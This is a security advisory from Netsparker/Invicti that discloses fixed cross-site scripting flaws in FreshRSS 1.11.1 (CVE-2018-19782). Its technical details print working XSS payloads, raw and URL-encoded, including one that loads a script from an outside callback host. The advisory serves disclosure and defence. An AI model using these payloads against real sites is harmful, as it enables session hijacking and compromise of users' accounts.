Multiple Cross-Site Scripting Vulnerabilities in FreshRSS 1.11.1

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS
Affected Software: FreshRSS
Affected Versions: 1.11.1
Homepage: https://freshrss.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-19782
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-024

Technical Details

Blind Cross-site Scripting

URL: http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho.r87.me"></scRipt>
Parameter Name: a
Parameter Type: GET
Attack Pattern: %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e

Stored Cross-site Scripting

URL: http://ns.app:8085/i/?c=error
Injection URL: http://ns.app:8085/i/?c=error
Parameter Name: a
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt>

Cross-site Scripting

URL: http://ns.app:8085/i/?c=error
Proof URL: http://ns.app:8085/i/?c=error
Injection URL: http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1
Parameter Name: c
Parameter Type: GET
Attack Pattern: %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e

URL: http://ns.app:8085/i/?c=error
Proof URL: http://ns.app:8085/i/?c=error
Injection URL: http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC
Parameter Name: a
Parameter Type: GET
Attack Pattern: %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e

For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).

Advisory Timeline

12th November 2018 – First Contact
28th November 2018 – Vendor Fixed
3rd December 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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